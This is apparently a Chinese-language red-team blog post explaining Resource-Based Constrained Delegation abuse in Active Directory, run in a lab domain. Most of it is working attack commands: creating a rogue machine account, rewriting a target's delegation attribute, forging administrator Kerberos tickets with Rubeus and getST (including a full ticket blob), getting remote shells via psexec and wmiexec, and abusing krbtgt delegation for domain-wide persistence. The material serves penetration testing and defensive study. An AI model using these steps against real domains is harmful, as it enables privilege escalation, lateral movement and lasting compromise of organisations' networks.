Life has its own fate, and meeting may not be accidental.

0%

基于资源的约束性委派利用(RBCD)

介绍

在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

利用原理

msDS-AllowedToActOnBehalfOfOtherIdentity属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。如果将这个属性的值配置成我们已经拿到密码的一个机器账户的话,那我们就能以任意成员的身份去控制配置了这个属性的主机。
举个例子:在域中,web-Mail$是我们已经拿到密码的机器账户,而我们有权利对web-Mail$这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性进行修改,那么我们就能拿到web-Mail$这台主机的所有权限。
换句话说如果我们拥有配置某台主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限与创建机器账户的权限,那我们就拿到了此机器的所有权限。
为什么是机器账户,不能是普通用户的账户?

因为攻击的时候会利用到S4U2Self协议,S4U2Self只适用于具有SPN的账户,普通账户是没有SPN的,而机器账户默认注册host服务的SPN(host服务中包含cifs、ldap等)。

![image.png](2.png %}

谁可以修改机子B的msDS-AllowedToActOnBehalfOfOtherIdentity属性?

  1. 这台主机的机器账户.
  2. 将这台主机加入到域内的域用户,该域用户具有对该主机的WriteProperty权限。(WriteProperty是指拥有写入对象属性的权限)

域里常见可利用的ACL

  • GenericAll :授予目标对象的完全控制权,包括WriteDacl和WriteOwner特权。
  • GenericWrite :此权限能够更新目标对象的属性值
  • Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
  • WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
  • WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
  • WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利

利用条件

获得机器账户或者获得将该机器拉入域内的域账户。

攻击流程

1、拿到拉入域内机器的域账户
2、利用该域账户添加域机器
3、修改msDS-AllowedToActOnBehalfOfOtherIdentity值为机器账户的sid
4、以机器账户的身份伪造administrator申请一张访问此机器账户的ticket,因为机器账户没有配置约束性委派,所以该

查询方法

msDS-AllowedToActOnBehalfOfOtherIdentity修改权限

GenericAll、GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的。

1
2
3
Get-DomainUser -Identity susan -Properties objectsid
Get-DomainUser -Identity web-2012
全局搜索 SecurityIdentifier : S-1-5-21-1255055821-1061842389-129624233-2103

![image.png](3.png %}

查找将域内机器拉入域的用户SID

如果一个账号没有mS-DS-CreatorSID,那么其是被域管拉入域内的。

1
2
## 通过ADFind查找将域机器拉入域的用户的SID
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

![image.png](4.png %}

1
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(objectsid=S-1-5-21-1255055821-1061842389-129624233-2103))" objectclass cn dn

![image.png](5.png %}

定位域用户SID对应的用户名

samAccountType(账号类型)的值最后三位是369证明这是一台机器或者说是机器账号,如果是368就是一个账号(服务账号或者普通账号)。

1
2
3
4
5
查看当前域账户sid
whoami /all

定位当前域账户加入的机器账户
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-1255055821-1061842389-129624233-2103))" cn sAMAccountType objectCategory

![image.png](6.png %}
![image.png](7.png %}

攻击利用

1、新建机器账户

Powermad
SharpView

1
2
3
4
5
6
7
#创建机器用户
powershell -exec bypass '&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount test2023 -Password $(ConvertTo-SecureString "xxxxxx" -AsPlainText -Force) -Verbose }'

test2023/ASD123=

#查询新建机器的SID
.\SharpView.exe Get-DomainComputer -Identity test2023 -Properties objectsid,name,distinguishedname

![image.png](8.png %}

![image.png](9.png %}

2、修改目标机器msds-allowedtoactonbehalfofotheridentity属性

win server 2012以下:

1
2
3
4
5
6
7
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1255055821-1061842389-129624233-1118)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer web-2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

实战中一句话执行
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN-SKE-PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

win server 2012以上:

ActiveDirectory修改

Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项

ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入即可

1
2
3
import-module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer web-2012 -PrincipalsAllowedToDelegateToAccount test2023$
Get-ADComputer web-2012 -Properties PrincipalsAllowedToDelegateToAccount

工具利用:

SharpAllowedToAct-Modify

域账户必须要是将攻击的机器加入域的账户,否则没有权限

1
2
3
4
5
-m参数为你添加的机器账号,-u为ldap账号,-p为ldap密码,-t为准备要攻击的机器名,-a为域控地址,-d为域名,如:
.\SharpAllowedToAct.exe -m test2023 -u susan -p asd123= -t web-2012 -a AD01-2016.redteam.com -d redteam.com

## 查询是否修改成功
.\SharpView.exe Get-DomainComputer -Identity web-2012 -Properties msds-allowedtoactonbehalfofotheridentity

![image.png](10.png %}
![image.png](11.png %}

清除msds-allowedtoactonbehalfofotheridentity属性

1
.\sharpview.exe Set-DomainObject -Identity web-2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

3、攻击思路

方法1:Rubeus | 伪造票据

1
2
3
4
5
6
7
## 创建的机器账户
.\Rubeus.exe hash /user:test2023$ /password:ASD123= /domain:redteam.com

伪造票据
.\Rubeus.exe s4u /user:test2023$ /rc4:C680D6B43E9E004BA4680722D78E1405 /impersonateuser:administrator /msdsspn:cifs/web-2012.redteam.com /ptt

.\Rubeus.exe s4u /user:test2023$ /rc4:C680D6B43E9E004BA4680722D78E1405 /impersonateuser:administrator /msdsspn:cifs/web-2012.redteam.com /ptt

![image.png](12.png %}

1
2
## 导入票据
.\Rubeus.exe ptt /ticket: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

![image.png](13.png %}
尝试连接

1
2
3
4
dir \\web-2012.redteam.com\C$

## Psexec连接速度会特别慢不知道为什么,得等很久
.\Psexec.exe -accepteula \\web-2012.redteam.com cmd

![image.png](14.png %}
![image.png](15.png %}

方法2:getST | 伪造票据

伪造票据

1
.\getST.exe -dc-ip 10.10.10.10 redteam.com/test2023$:ASD123= -spn cifs/web-2012.redteam.com -impersonate administrator

![image.png](16.png %}
设置票据,连接机器

1
2
3
4
5
## cmd
set KRB5CCNAME=administrator.ccache

.\psexec.exe -dc-ip 10.10.10.10 web-2012.redteam.com -no-pass -k -codec gbk
.\wmiexec.exe -dc-ip 10.10.10.10 web-2012.redteam.com -no-pass -k -codec gbk

![image.png](17.png %}
或者将ccache文件转换为kirbi文件导入,建立ipc连接

1
2
3
4
5
kekeo.exe "kerberos::ptt administrator@redteam.com_cifs~web-2012.redteam.com@REDTEAM.COM.kirbis" "exit"

dir \\web-2012.redteam.com\c$

.\Psexec.exe \\web-2012.redteam.com cmd

![image.png](18.png %}

后利用方法3:域管权限,权限维持打造黄金票据

1
2
3
4
5
6
7
8
## 创建委派机器账户
powershell -exec bypass '&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount administrator2 -Password $(ConvertTo-SecureString "asd123456=" -AsPlainText -Force) -Verbose }'

## 给krbtgt创建委派权限
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount administrator2$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

.\sharpview.exe Set-DomainObject -Identity krbtgt -Clear 'PrincipalsAllowedToDelegateToAccount' -Verbose

![image.png](19.png %}

1
2
3
4
5
6
7
## 申请票据
.\getST.exe redteam.com/administrator2$:asd123456= -spn krbtgt -impersonate administrator -dc-ip 10.10.10.10

## 导入票据
set KRB5CCNAME=administrator.ccache

.\psexec.exe -dc-ip 10.10.10.10 ad01-2016.redteam.com -no-pass -k -codec gbk

![image.png](20.png %}

方法4:敏感账户不可委派绕过

https://xz.aliyun.com/t/7454#toc-2

参考

AD域中常见属性名词解释
微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
利用资源约束委派进行的提权攻击分析
基于资源的约束委派攻击
域渗透之委派攻击全集
内网渗透 域ACL攻防